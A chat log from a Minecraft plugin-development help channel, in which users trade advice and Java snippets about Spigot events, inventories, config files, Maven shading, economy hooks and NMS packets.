#help-development
1 messages · Page 1743 of 1
You need to be holding an item as well
If I am tracking a player placing down a block. What even do I use?
Blockplaceevent
Maybe because I made a itemstack, it is not working.
event.getItem() gets the itemstack in the hand just before it’s placed, if this is what you mean?
ok , thanks I needed to do.
event.getItemInHand().getItemMeta().equals()
isSimilar
does this apply if I'm not using a normal mc block
do i have to delete an inventory after creating one for a player?
because it seems like every time i reopen an inventory, the event gets called +1 more times than the last
what
I think he is saying he is stacking items every time a gui is being open
so like on open add 1 stick
no
ok
the events are stacking
send code
how do you sendMessage() with a custom color?
ChatColor.translateAlternateColorCodes
oh custom color
Hex colors are ChatColor.of
I want orange, but spigot does not have orange
receiver.sendMessage(TextCompoent.setColor(ChatColor.of("#7375ff")) + text);
why the textcomponent
thats what the spigot help said to do
why are you making a new inventory everytime
receiver.sendMessage(ChatColor.of("#7375ff") + text);
idk
that's new code
just save it
as a variable
returns the errror The method of(String) is undefined for the type ChatColor
You using the bungee import?
aperently
Doesn't sound like it
can you send an example. im not 100% sure what you mean
You don't know what version your server is running?
tip
List<String> lore = new ArrayList<>();
List<String> coloredLore = new ArrayList<>();
lore.add("&7Open special booster packages containing"); lore.add("&7electrifying and spooky rewards!"); lore.add("&7"); lore.add("&fYou have &6"+ packageCount + " &fspooky packages." ); lore.add("&7"); lore.add("&7Click to open a spooky package.");
for (String loreLine : lore) coloredLore.add(ChatColor.translateAlternateColorCodes('&', loreLine));
vvv
List<String> lore = Arrays.asList(
"&7Open special booster packages containing",
"&7electrifying and spooky rewards!",
"&fYou have &6" + packageCount + " &fspooky packages.",
"&7Click to open a spooky package.")
.stream()
.map(str -> ChatColor.translateAlternateColorCodes('&', str))
.collect(Collectors.toList());
/ver says I'm running the latest version
What version of the game do you launch when you go to join your server
oh game version
i havent tried streams yet
Then you should have access to said method
eclipse ide would like to disagree
so you're saying it will work, despite the error?
Well no, that isn't how compile errors work
ok
But I can assure you the method exists
so just disregard the red
Still not going to compille
so then how do I get rid of said error
Are you for some reason developing against an older spigot api
nope
spigot-1.17.1.jar
so your autocomplete says that it will accept a string
but mine said you can't
which is the packet sent right after the player joins (for load the map)
could i just delete it instead and make a new one every time?
whats the point
Chunks? PacketPlayOutMapChunk
hm
well it has values in the lore that update anyways so idk why i'd wanna save it
if i save the inventory to a variable, it'll save the items that contain lore with old var values
yeah
eh, I'll just use the gold color, and avoid my problems instead of fixing them because being lazy is fun
ok, what about a packet sent with all blocks and their positions?
or just heir positions
i assume that's why the events are stacking every time i make an new inventory, because the server thinks the old inventories still exist and they meet the requirements for the event
makes sense
I don't think that is quite how this works
is there a way to delete an inventory?
what you can do is
public class InventoryContainer implements Listener {
private final Set<UUID> uuids = new HashSet<>();
public void addUuid(UUID uuid) {
uuids.remove(uuid);
}
public boolean isInventory(UUID uuid) {
return uuids.contains(uuid);
}
public void remove(UUID uuid) {
uuids.remove(uuid);
}
@EventHandler(ignoreCancelled=true, priority=MONITOR)
public void onInventoryClose(InventoryCloseEvent event) {
uuids.remove(event.getPlayer().getUniqueId());
}
}
so you arent checking any conditions on the inventory itself
just the player
Recreating an inventory has never caused issue for me
when you create the inventory, you just add the player's uuid to this container
It should be impossible for it to fire on multiple inventories, since the player may only have 1 inventory open at a time
hes checking for conditions inside the inventory
It should still only fire on the open instance
Since that is the one you are clicking on
he means for multiple people
no?
then whats your problem 🤨
are you making the listener more than once?
no
where’s wally
"imagine dragons"
only solution is to change your name
did not helped alot
i just need the position of each block
how can i log when an instance of something is created
public class MyClass {
{
Bukkit.getLogger().info("NEW INSTANCE");
}
}
Can anyone improve my code?
https://gist.github.com/JohnnyPlayy/19749cf3929f80c34f2ef512bc737ebe#file-gistfile1-txt
Click matching system!
whats this supposed to do
Is all caps the new standard for Javadocs
It's a click combo activation system
Like Wynncraft
well it’s not in a class so that ain’t compiling
It's also all static
position looks like it makes more sense as an int
Also that way of storing things in the map is very strange
you have three nested ifs for whatever the hell combotype is meant to be
it’s a mess really
Storing 4 keys for each player, rather than mapping a single key to some form of data holder class
why not write
Single letter constants
ItemStack openPackage = CreateCustomSkull.createSkull("ZGQzMTE3M2U3YjdjNzhlNWU0OGRjZmY2NmQ1Nzk4MGFlY2EzODI0Y2Q4NTg0YWFjNDZkNzdjMjYwYzM4YmI0YyJ9fX0=");
openPackage.getItemMeta().setDisplayName(ChatColor.translateAlternateColorCodes('&', "&6Open a package"));
GUI.setItem(11, openPackage);```
would anyone know why none of the ItemMeta i add to my items gets added?
Because getItemMeta is immutable
get item meta returns a copy
Hence the existence of setItemMeta
Quality of the code?
actually cool
Code is a bit wack, but hey it works
Using a 4 combo gives a lot more options than wynncraft’s 3
I tried several ways to use hashMap with arryList and it doesn't work at all!
Can you make an example of the code?
could you send me the link? did not found
There’s a link to it in the chunk data packet section
thanks
that is really interesting
but now im stuck with a long
in need to conver it to positions
You’ll just want to take the chunk x and z and then add to that based on the index
thanks
Hey guys, where should plugin.yml be saved?
under src?
I'm getting a "jar does not contain plugin.yml"error
src/main then?
for me it is in the resources folder
where is your config file?
I don't think I have that either
i dont understand what it wants for the parameter in getattribute
So I have a plugin that use mysql as the database and I want to add couples of column to the database without creating any issues to my plugins user, how can I do that?
How can I make an editor mode that gets what a player types in chat and returns something back based on what they type or uses what they type for something else.
Kind of like what item edit dose?
Srry for the shit explination
You can try smthing like this idk
You put player into Map or something, and then listen to the chat event, when player chat and the player is contains on the map, you can do what you want there.
why didn't I think of that lol
What if the table is already exist, and I just want to add column.
I believe it’s ALTER TABLE
Its insert
Or do you mean smthing else? Cause it might be alter
I think it's alter.
alr
How can I check if the table or column is exist?
java scanners?
True
You can try using this
Look up the conversation API
ok
Isn't that to check if specific player data is exist, not the column itself?
hack: try selecting somethibg from the table
or the column
and get the Exception message
I am using economy.getBalance() to get balance of a player but i want to subtract but the problem is i have to use economy.format(economy.getBalance); but this can only be in a string any good way to fix?
What
I want to subtract 15K from a str
Subtract it before you turn it into a string?
Nope it has to be a string or it will givea error
It also says that Economy is Invalid
Then you’ve done several things wrong
getBalance should return a number which you can easily add and subtract
Once you are done with that you can pass it to format to make it into a string
Sending my code & u will know what i mean
import me.lumina.hardcorepurge.HardcorePurge;
import net.md_5.bungee.api.ChatColor;
import net.milkbowl.vault.economy.Economy;
import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.entity.PlayerDeathEvent;
public class purge implements CommandExecutor, Listener {
@Override
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args ){
if (sender instanceof Player){
Economy economy = HardcorePurge.getEconomy();
Player player = (Player)sender;
String bal1 = economy.format(economy.getBalance(player));
//purge
if (cmd.getName().equalsIgnoreCase("purge")){
String PlayerName = player.getName();
String bal = economy.format(economy.getBalance(player));
if (bal1 - 15000 == bal){
Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(),"gamemode survival " + PlayerName);
Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(),"tp " + PlayerName + " ~ ~5 ~");
sender.sendMessage(ChatColor.GOLD + "<-(!)You have spent 15K & you are now back to life->");
}
else{
sender.sendMessage(ChatColor.RED + "<-(!)Not enough Money->");
}
}
}
return true;
}
}
```\
double balance = economy.getBalance()
balance -= 15000
String balanceString = economy.format(balance)
Ok got it ty!
Hey guys, I'm getting this error when I'm trying to utilize the IF library: java.lang.NoClassDefFoundError: com/github/stefvanschie/inventoryframework/gui/type/ChestGui
Weirdly, this class does exist in the github: https://github.com/stefvanschie/IF/blob/master/IF/src/main/java/com/github/stefvanschie/inventoryframework/gui/type/ChestGui.java
So I'm not sure what the issue is
Have you shade it?
Yep:
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-shade-plugin</artifactId>
<version>3.1.0</version>
<configuration>
<dependencyReducedPomLocation>${project.build.directory}/dependency-reduced-pom.xml</dependencyReducedPomLocation>
<relocations>
<relocation>
<pattern>com.github.stefvanschie.inventoryframework</pattern>
<shadedPattern>com.dyno.inventoryframework</shadedPattern>
</relocation>
</relocations>
</configuration>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>shade</goal>
</goals>
</execution>
</executions>
</plugin>```
decompile your output jar and see if the class that you shaded is there, if not then it's not shaded properly i guess.
Economy economy = HardcorePurge.getEconomy();
Player player = (Player)sender;
double bal1 = economy.getBalance(player);
//purge
if (cmd.getName().equalsIgnoreCase("purge")){
String PlayerName = player.getName();
bal1 -= 15000;
String balanceStr = economy.format(bal1);
String bal = economy.format(economy.getBalance(player));
if (Objects.equals(balanceStr, bal)){
Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(),"gamemode survival " + PlayerName);
Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(),"tp " + PlayerName + " ~ ~5 ~");
sender.sendMessage(ChatColor.GOLD + "<-(!)You have spent 15K & you are now back to life->");
}
``` is this correct?
I mean I would assume its not since im getting a noclassfound error lol
Not sure how to fix it though, unfamiliar with shading in general
can i get your full pom.xml?
?paste
you just need this on your <build> https://paste.md-5.net/qugikosoza.xml
idk what does the <pluginManagement> do but I think that's the problem.
Alright I'll try without all that
OK, now I'm getting 3 jars when I run package: dyno-1.jar, dyno-1-shaded.jar, and original-dyno-1.jar. Which should I use?
The dyno-1.jar
original is the jar without the shade file
and the rest is with the shaded file
"the rest"?
what's a clever way of slowly dragging a raytrace after a target point with a limited angle between each raytrace to give is a follow effect?
the only solutions I can think of involve doing a lot more rotations than I'd like to do and that might be because I'd rather go to bed at this point
dyno-1.jar and dyno-1-shaded.jar is the same i think, and you want to use the jar with the shaded file included
or if ((bal1 = bal1 - 1500) == bal)
If they are the same doesn't that mean that they both have the shaded file? lol
yes, just with different names
Evoker evoker = (Evoker) event.getEntity();
Wither wither = (Wither) evoker.getLocation().getWorld().spawnEntity(evoker.getLocation().add(0.5, 0, 0.5), EntityType.WITHER);
wither.setCustomName(ChatColor.translateAlternateColorCodes('&',"&cThe Boss"));
wither.setCustomNameVisible(true);
wither.getBossBar().setColor(BarColor.RED);
wither.setMetadata("Boss", new FixedMetadataValue(plugin, "witherr"));
wither.setHealth(1000);
}```
i want to kill the existing Vex
when Evoker dies
how do i do it
Do you guys have any recommendations for guides regarding mySQL implementation?
if (item_data.has(new NamespacedKey(Main.getPlugin(), "cool"), PersistentDataType.STRING)) {}
lets say i have an item with the {"plugin:amazing":"cool"} tag, what does it detect
jar: null: IllegalArgumentException -> [Help 1]``` Any ideas behind why this is happening?
?paste
Here's my pom: https://paste.md-5.net/bowagohanu.xml
Sir i am legally obligated to tell you
That i am 100% offended by your class name
I shall now make a 20 minute long rant on my youtube about it
can someone help me i got a problem on my server. When other players make a nether portal on a completely different world and when they get back into that same portal they came out of it makes another portal in my main world just outside of spawn!
Guys im have this code create npc. How add item to hand with nms.
I try add item
CraftLivingEntity cle = npc.getBukkitEntity();
ItemStack itemstack = new ItemStack(Material.DIAMOND_SWORD,1);
cle.getEquipment().setItemInMainHand(itemstack);
npc = (EntityPlayer) cle.getHandle();
but not work
pretty sure your not supposed
Gotta send the set item packet
to convert it back to nms from bukkit entity
hes doing it the raw way
not packet based
yes
as i said
i try
your casting nms to bukkit entity
packet PacketPlayOutEntityEquipment?
once created just use the api to set the equipment
Thx is work fine
I send packet the incorrectly, I sent it before it appeared, which prevented the item from being issued
Hello, whats the difference between BlockPlaceEvent#setBuild(false) and BlockPlaceEvent#setCancelled(true)?
nothing?
idk
check it
Ok I found out that setCancelled does nothing, so the player can still build and setBuild can prevent it
Still wondering what setCancelled does now
simply stop the placement
declaration: package: org.bukkit.event.block, class: BlockPlaceEvent
But it doesnt do that
yes it does..
That isnt very helpful
look above it
I know what it does but that was not my question
guys im using builder utilities and dripleaf has a bug
anyone know a way to fix it?
nvm
found reason
i have a question, the javaplugin.getDataFolder()
what is the path
"./plugins/pluginname" ?
cause i want to make ymls store in for example "./plugins/pluginname/files"
Will new NBTTagCompound().getKeys() be null or empty?
if in main class
File file = new File(getDataFolder() + File.separator + "file");
ok thx
empty. The CompoundTag initialises itself with a map
👍
I need to save some data but I don't know what the best way to do it is.
I'm saving 2 separate bits. The first is a collection of characters and strings that go togeather. And some bools.
What would the best way to save this data be?
Depends on is usage...
Usually json or yaml but if its player/entity based you can probs get away with PersistentDataContainer.
Thanks.
np
public void respawnEvent(Player p) {
Random aba = new Random();
int abas = aba.nextInt(100);
if (abas == 1) {
return;
}
List<String> a = new ArrayList<>(getConfig().getConfigurationSection(path).getKeys(false));
Random aa = new Random();
int ab = aa.nextInt(Math.max(a.size() - 1, 1));
for (String abb : getConfig().getStringList(path + a.get(ab) + ".messages"))
p.sendMessage(chatcolor(abb));
p.sendTitle(some messages here, some more, 20, 60, 20);
}```
so basically im making a random thing...
so first random `aba` is to check if the number is 1 (for 1% chance to get the easter egg message)
if it is not then it will go to the next random which is for getting the normal random messages
i feel like it is kinda messy
so uhh
do we have any ways to make it less messy?
Can you please share some example of AsyncPlayerPreLoginEvent with me? I am not experinced with async code in Java.. I need to make HTTP request and only if it returns data i want, only then I want to let player access the server.. While waiting for HTTP response, I want player to be waiting - not joined.
How do I hook it into AsyncPlayerPreLoginEvent?
All I can recommend is don't create a new random for both just use the same random but get a new int like you do.
Its the same as all others just if the http request doesn't return data then run event.disallow()
no, both aren't the same random
public void respawnEvent(Player p) {
Random aba = new Random();
if(aba.nextInt(100) == 1) return;
List<String> a = new ArrayList<>(getConfig().getConfigurationSection(path).getKeys(false));
int ab = aba.nextInt(Math.max(a.size() - 1, 1));
getConfig().getStringList(path + a.get(ab) + ".messages").forEach(string -> p.sendMessage(chatcolor(string))
p.sendTitle(some messages here, some more, 20, 60, 20);
}
You should still consider to use the same random instance as it’s quite expensive to create those instances
uhh tks, actually before the return im gonna do another
List<String> a = new ArrayList<>(getConfig().getConfigurationSection(path).getKeys(false));
int ab = aba.nextInt(Math.max(a.size() - 1, 1));
getConfig().getStringList(path + a.get(ab) + ".messages").forEach(string -> p.sendMessage(chatcolor(string))
p.sendTitle(some messages here, some more, 20, 60, 20);```
so i can have more multiple message lol
Unless you have a very good reason not to ofc
ThreadLocalRandom 🙏
how to 😦 i dont find any ways to connect between them
I just showed you lol
SplittableRandom 
Okay sooo it stops player from joining UNTIL I run event.allow or event.disallow, correct?
Soo if I registered listener that would not run any of these, it would freeze player from joining forever, right?
You use the same instance and just initialize a new variable
I think so.
thanks man
Great thanks. Hero! 🙏
Or atleast untill they time out
You can set the timeout in the spigot.yml
Wait this is so messy... lol
public void respawnEvent(Player p) {
Random aba = new Random();
int abas = aba.nextInt(100);
if (abas == 1) {
List<String> a = new ArrayList<>(getConfig().getConfigurationSection("respawn-easter-eggs").getKeys(false));
int ab = aba.nextInt(Math.max(a.size() - 1, 1));
for (String abb : getConfig().getStringList("respawn-easter-eggs." + a.get(ab) + ".messages"))
p.sendMessage(chatcolor(abb));
p.sendTitle(chatcolor(getConfig().getString("respawn-easter-eggs." + a.get(ab) + ".title")), chatcolor(getConfig().getString("respawn-easter-eggs." + a.get(ab) + ".subtitle")), 20, 60, 20);
return;
}
List<String> a = new ArrayList<>(getConfig().getConfigurationSection("respawn").getKeys(false));
int ab = aba.nextInt(Math.max(a.size() - 1, 1));
for (String abb : getConfig().getStringList("respawn." + a.get(ab) + ".messages"))
p.sendMessage(chatcolor(abb));
p.sendTitle(chatcolor(getConfig().getString("respawn." + a.get(ab) + ".title")), chatcolor(getConfig().getString("respawn." + a.get(ab) + ".subtitle")), 20, 60, 20);
}```
....
Why are you doing new ArrayList<> ?
both are different thing?
You don't need that since getKeys() returns a list
dudududu
dududududu
it is time to disappear because im dumb...
also concerning your logic is doubled after you select your List of strings, just isolate that
well and the title
final List<String> messages = new ArrayList<>();
String title = "";
if(ThreadLocalRandom.current().nextInt(100) == 1) {
messages.addAll(getConfig().easterEggs)
title = ....
} else {
messages.addAll(getConfig().normal)
title = ....
}
So I've always used reflection in my NBT class but In my more recent plugins I only support latest version so figured I would ditch reflection for the performance lol
Is this clean enough?
https://pastebin.com/LxjLBAgL
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
any reason getTag does not return NBTTag ?
Because it can be any object type. String, List, Integer etc...
NBTTagCompound don't directly store those tho do they ? They store those wrapped
E.g. through NBTTagString
🤷 I don't have any problems with how its currently written
o.O does casting it directly to a string actually work
yea, the NBTTagCompound method returns a NBTBase
if you cast that directly to a string/list/integer you'll explode
ConsoleOutput.debug("HasTag: "+(in.hasTag(i, "Enchantments") ? in.getTag(i, "Enchantments").toString() : "FALSE"));```
`[DEBUG] HasTag: [{id:"minecraft:efficiency",lvl:5s},{id:"minecraft:fortune",lvl:3s},{id:"minecraft:unbreaking",lvl:3s}]`
I mean, one is the SNBT representation
but we aren't talking about SNBT here
in.getTag(i, "Enchantments") does not return you a List<Enchantment>
True but then I have to go through all object types lol Enchants, ItemFlags, Booleans, Custom tags etc...
Most nms methods allow json though and the NBT for enchantments is a json string so thats pretty close
I'd be careful with calling SNBT json
anyway, I digress. If it works it works /shrug
Yeah I can only test it with me adding like ItemNMS.get().addTag(ItemStack, "Test", -123); and then getting that tag with the getTag method. Don't currently have any other plugins that add tags that aren't either an int or a string
whats the best way to initialise a websocket and keep it alive
note that i am creating the server it connects to as well
I just used a thread and serversocket.
I want to make my own vote listener. Votifier says I can compile a listener by "including Votifier in the class path" using: javac -cp Votifier.jar FlatfileVoteListener.java
How do I do this?
Would I just add it as an external library?
the Skeleton Stopped spawning
How do I use the deobfuscated mappings in intellij?
eg:
EntityLiving.bP.a -> EntityLiving.goalSelector.a();
EntityLiving.bQ.a -> EntityLiving.targetSelector.a();
maybe u forgot
ChatColor.translate alternative color codes?
idk
i dont think it would work after add it
but just try lol
no doesnt
you probably want specialsource?
A maven plugin which allows you to develop spigot plugins with mojang mappings
epic thx
with what
use SplittableRandom 😭
no
Lol
Tho verbose name nowadays,
RandomGenerator.SplittableGenerator 
what is the equivalent of entity.passengers from 1.16 in 1.17?
cause getPassengers() is an immutable collection so I cannot add a passenger thru that
just make yourself a lib or use an available one, it's pretty simple after I guess
Do you guys have any idea how to export dependencies from a plugin to another when they were registered using a dependency injection framework ? For instance, I have a plugin (let's say A) which need a FooService defined out of. A. This interface is implemented in a plugin B. A depends on B. That means that B is loaded before A. In B, I tell the injection framework that FooService is implemented by FooServiceImpl. And I'd like to use FooService in A
What DI framework is it?
also how is B loaded before A if the plugin B is depending on a class (and hence the classloader) of plugin A as B definitely needs to depend on FooService which is part of A?
hello
i have the code below:
@EventHandler
public void onWorldChange(PlayerChangedWorldEvent event) {
currentWorld = event.getPlayer().getWorld();
Player player;
player = event.getPlayer();
if(currentWorld.getName() == "bwlobby")
{
PlayerInventory inv = player.getInventory();
inv.clear();
ItemStack compass = new ItemStack(Material.COMPASS, 1);
ItemMeta im = compass.getItemMeta();
im.setDisplayName("§6Game Navigation §7[Use]");
compass.setItemMeta(im);
inv.setItem(4, compass); //Slot 1 = 0
}
}
i want when player went to world bwlobby
it will be given a compass
sometimes finding names for a class goes brr
but i used multiworld and tp to the world it did not give
yea
yes
alright lemme try
it still didt give the items
to player
help
i use multiworld command mw goto bwlobby
but my inventory still empty
saveDefaultConfig();```
when i change value in config
it doesnt change
in game
and when i restart
config goes to default value
``` @Override
public void onDisable() {
saveConfig();
// Plugin shutdown logic
}```
i have this too
you need to do like getConfig().addDefault(key, value) or something
no
wait
don;t set defaults unless you really know what you are doing
i misunderstood
pls also help me :)
?paste show how you are changing yoru config
i changed my code to this:
@EventHandler
public void onWorldChange(PlayerChangedWorldEvent event) {
event.getPlayer().chat("onWorldChange executed.");
currentWorld = event.getPlayer().getWorld();
Player player;
player = event.getPlayer();
if(currentWorld.getName().equals("bwlobby"))
{
event.getPlayer().chat("worldislobby executed.");
PlayerInventory inv = player.getInventory();
inv.clear();
ItemStack compass = new ItemStack(Material.COMPASS, 1);
ItemMeta im = compass.getItemMeta();
im.setDisplayName("§6Game Navigation §7[Use]");
compass.setItemMeta(im);
inv.setItem(4, compass); //Slot 1 = 0
event.getPlayer().chat("item given executed.");
}
}
but when i use multiworld plugin and changed world, none of the event.getPlayer().chat("");
was runned
I don;t see you changing anything in the config there
which multiworld plugin
seeString s = config.getString("Bossname.Skeleton"); skeleton.setCustomName(s)
How can I sort locations from a list in such a way that when I look to the east, the back blocks are looped first and the front blocks at the end
so.. what do i do..
Well, what are you trying to do?
i am trying to set my skeletons custom name from config
does this path exist in your config? Bossname.Skeleton
yes
Bossname:
Skeleton: '&cSaviour'
Wither: 'The Boss'
BossMaxHealth:
Skeleton: '300'
Wither: '1000'
looks fine
i set something in config and save it
and when i refresh the page
the config has default value
help
?paste your config
You have yet to show me any code that is altering your config
i am only trying to String s = config.getString("Bossname.Skeleton"); skeleton.setCustomName(s)
IF that is the actual config.yml that is being saved into your plugins folder then there is no reason that code should not work
that code is only reading from yoru config. its not making any changes
yes
it does NOT change anything in yoru config
yes so how do i change
is yoru Skeleton getting that name correctly set?
yes default value is being shown correctly
if you want to change the value in the config config.set("Bossname.Skeleton", "new name here");
thats pointless
you are reading the value from the config, then putting it straight back in, exactly the same and unchanged
what are you trying to change the name to?
the one in config
um, you are going in circles and making no sense
leme explain you
my default skeleton name is "Saviour"
and it shows the default name correctly
now i want, players to easily change the name of skeleton from config itself
so i tried changing name from config
but doesnt work
you mean you manually tried editing the config.yml while the server was running?
ok, your issue then is that you are performing a saveConfig() in yoru onDisable
thats overwriting yoru file changes with the default you have in memory
so what do i do
add a command to allow admins to change teh name in game
letting users edit the yaml by hand is always a disaster
if you alter teh file manually you have to call reloadConfig() after you have edited it
package me.theeyeofthepotato.stats;
import java.util.ArrayList;
import java.util.List;
import com.mojang.brigadier.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.command.TabCompleter;
public class StatTab implements TabCompleter {
List<String> arguments = new ArrayList<String>();
public List<String> onTabComplete(CommandSender sender, Command cmd, String label, String[] args) {
if (arguments.isEmpty()) {
arguments.add("logins"); arguments.add("playerKills");
arguments.add("deaths"); arguments.add("mobKills");
}
List<String> result = new ArrayList<String>();
if (args.length == 1) {
for (String a : arguments) {
if (a.toLowerCase().startsWith(args[0].toLowerCase())) {
result.add(a);
}
}
return result;
}
return null;
}
}
where?
in the code above, I get two errors: one on StatTab, and one on Command
StatTab: The type StatTab must implement the inherited abstract method TabCompleter.onTabComplete(CommandSender, Command, String, String[])
Command Command is a raw type. References to generic type Command<S> should be parameterized
you could probably just call it before you read teh value
ok
plugin.reloadConfig();
String s = config.getString("Bossname.Skeleton");
config.set("Bossname.Skeleton", s);
skeleton.setCustomName(s);```
this should work?
delete the config.set line
any ideas?
String s = config.getString("Bossname.Skeleton");
skeleton.setCustomName(s);```
will this work ?
yes
leme test
when i change the value in config.yml
and reload the server
the value changes to default one
you don;t reload
just change the name in the config
when you spawn a boss it will use the new value
actually, as you never make any config changes in game you could just delete the saveConfig() from your onDisable
k leme test
They have api events
Granted
now when my plugin generates config file
its empty
impossible
it is
It doesn't seem to cover any of teh player joining shit
unless your config.yml in your plugin jar is empty
no its not
are you adding the values into your config in onEnable or something?
Then from the code you have shown, what you are describing is impossible
Hey guys, could someone take a look at my pom and tell me why this error might be occuring?[ERROR] Failed to execute goal org.apache.maven.plugins:maven-shade-plugin:3.1.0:shade (default) on project dyno: Error creating shaded jar: null: IllegalArgumentException -> [Help 1]
Here's the pom: https://paste.md-5.net/bowagohanu.xml
My suspicion is that this issue has to do with my aws-mysql-jdbc dependency, as when I remove it I didn't not get that error. How can I fix this?
I doubt you can. I have every type of invite blocked
Hey, I saw in a spark profile that this uses 25% of my server tick: org.bukkit.craftbukkit.v1_17_R1.scoreboard.CraftScoreboardManager.getScoreboardScores() anyone has a idea to reduce this?
where are you calling scoreboard functions
tf
package me.theeyeofthepotato.stats;
import java.util.ArrayList;
import java.util.List;
import com.mojang.brigadier.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.command.TabCompleter;
public class StatTab implements TabCompleter {
List<String> arguments = new ArrayList<String>();
public List<String> onTabComplete(CommandSender sender, Command cmd, String label, String[] args) {
if (arguments.isEmpty()) {
arguments.add("logins"); arguments.add("playerKills");
arguments.add("deaths"); arguments.add("mobKills");
}
List<String> result = new ArrayList<String>();
if (args.length == 1) {
for (String a : arguments) {
if (a.toLowerCase().startsWith(args[0].toLowerCase())) {
result.add(a);
}
}
return result;
}
return null;
}
}
in the code above, I get two errors: one on StatTab, and one on Command
StatTab: The type StatTab must implement the inherited abstract method TabCompleter.onTabComplete(CommandSender, Command, String, String[])
Command Command is a raw type. References to generic type Command<S> should be parameterized
You have the wrong import for Command
import org.bukkit.command.Command;
What is the best way to check if block is generated or placed by the player ?
I want to make that for a lot of block so the solution of store meta is not opti
you have to track teh block when it is placed
and broken
either in a database or pdc of the chunk
But i want to check for every bloc so if i need to store every bloc placed/broke, that will not opti
its your only option
but how every jobs plugin do ?
why do you have a bukkitrunnable inside a bukkitrunnable
because I need a 100 tick delay, but I could change it to a 5000 sleep
you can see in spark: https://spark.lucko.me/ZGLnK9rfP9 that it isn't caused by my plugin. Its in the net.minecraft.server.network.ServerConnection.tick()
yo
is there a way to make a border effect for y-level
just like the normal worldborder has
I'm trying to make a custom command that will literally just run the arguments through the brigadier parser
example: /varm give @s stone 64
Here's my question: is there any way to do auto tab complete without going through manually and writing in every single tab complete?
Inside AsyncPlayerPreLoginEvent event I waited for 200 ticks (using scheduler) and then ran event.disallow..
Problem is, spigot didnt care about my code at all and simply let player in instantly.. Never kicked
bump!
i think after 200 ticks the event is gone
so it doesnt occur again?
exactly
Well, I need it to wait until I get my HTTP response and then decide if I want to let player into a server or not. Is that not possible? I understand 200 ticks is a long time, but my HTTP server can be delayed and it could actually take this long.. Why dies it let player into server anyway?
10 seconds later the server isn’t gonna care
if your method returns then it will admit them to the server
blocking them for 10 seconds is a TERRIBLE idea
they may even time out
my method is async :/ If it doesnt wait for my permission and it simply lets player in, that is not what I want. I need to make sure I have HTTP response before I let player in
idk how that bit works
well do it sync ig
no http request normally takes 10 secs tho
I dont want to freeze everyone on server just because someone is trying to connect and I am awaiting for response from my database.
Its just a test to showcase it allows player in before I allowed/disllowed it
if you're http request is taking 10 seconds, something is wrong
it’s the asyncpreloginevent
hence the name
it’s async
Soo inside async event I should freeze the code until I get response from HTTP request, correct? And it would not freeze server itself?
yes and yes
but i hate that
you should put them in some sort of limbo area imo
where they then get put in the actual world later on
I would love to.. But in that case its no longer blocking code and it is same as:
This thing.. So it simply lets player in
this is what i would do;
anyone have a good tutorial for multiple config files?
on preLoginEvent:
start the http request
onJoin:
tp them to a different world / area where they are separate.
when the http request finishes then either return them to the normal world or kick them or whatever.
i guess you followed Codedred's tutorial? (which is really bad too)
bump!
Did GlassBottleFillEvent exist (or something similar)
only just got this now java [17:39:45 ERROR]: Could not load 'plugins/Tooty-0.0.0-a4.jar' in folder 'plugins' org.bukkit.plugin.InvalidDescriptionException: Invalid plugin.yml at org.bukkit.plugin.java.JavaPluginLoader.getPluginDescription(JavaPluginLoader.java:178) ~[patched_1.17.1.jar:git-Paper-338] at org.bukkit.plugin.SimplePluginManager.loadPlugins(SimplePluginManager.java:158) ~[patched_1.17.1.jar:git-Paper-338] at org.bukkit.craftbukkit.v1_17_R1.CraftServer.loadPlugins(CraftServer.java:419) ~[patched_1.17.1.jar:git-Paper-338] at net.minecraft.server.dedicated.DedicatedServer.initServer(DedicatedServer.java:287) ~[patched_1.17.1.jar:git-Paper-338] at net.minecraft.server.MinecraftServer.runServer(MinecraftServer.java:1217) ~[patched_1.17.1.jar:git-Paper-338] at net.minecraft.server.MinecraftServer.lambda$spin$0(MinecraftServer.java:319) ~[patched_1.17.1.jar:git-Paper-338] at java.lang.Thread.run(Thread.java:831) ~[?:?] Caused by: java.io.FileNotFoundException: Jar does not contain plugin.yml ... 7 more
org.bukkit.plugin.InvalidDescriptionException: Invalid plugin.yml 🌝
main: tootymc.Tooty
name: TootyMC
version: 0.0.0-a4
author: ooliver1 - Oliver WIlkes
api-version: 1.17
thats valid right?
put your whole package name in the main:
liek mine
main: io.github.FourteenBrush.MagmaBuildNetwork.MagmaBuildNetwork
ive been able to load it fine up until now
i dont get it
like ive only touched the version ever since it worked
all ive done since is deleted some files and changed one dep in the pom
since it worked i have deleted some files, added some code, changed version in plugin.yml, added a dependency in pom.xml
i dont see how https://cdn.tooty.xyz/rPVl that makes it invalid
But i want to check if the result is Honey Bottle and if the click do something
check if the block the player clicks on is a honey block (i guess) and the player is holding a glass bottle
do you need to register event if the event is in main class?
yesh
Yes but my problem were if the beehive have honey, but i check Honey Block class and now i know you can get honey level
with block meta
smh
hello, i need to get the positions of each block in the PacketPlayOutMapChunk in 1.12
it was given to me this link https://wiki.vg/Chunk_Format#Compacted_data_array
but i dont understand about bitwise operators so i need a little help
how can i get the Door class from a block?
didnt i show you
i mean if its a door
right here
Is there an argument I can add to my run.bat to stop my cmd from closing on server stop?
ok a recompile seemed to have fixed it
Checking if the block is a Door and casting the block
Hey I have an issue with importing NMS with Maven. Everyone is saying that you should use this dependency to get Spigot with NMS libraries:
<dependency>
<groupId>org.spigotmc</groupId>
<artifactId>spigot</artifactId>
<version>1.17.1-R0.1-SNAPSHOT</version>
<scope>provided</scope>
</dependency>
but this doesnt seem to exist anymore in the spigot repository https://hub.spigotmc.org/nexus/content/repositories/snapshots/.
The spigot-api dependency doesn't contain NMS. Is there any other way how to import NMS with Maven?
You need to run buildtools
I have Pause but I still get the "press any key to continue" message which closes the cmd whenever I interact with it
How can I keep it open
i did but what does that change?
It puts NMS into your local maven repo
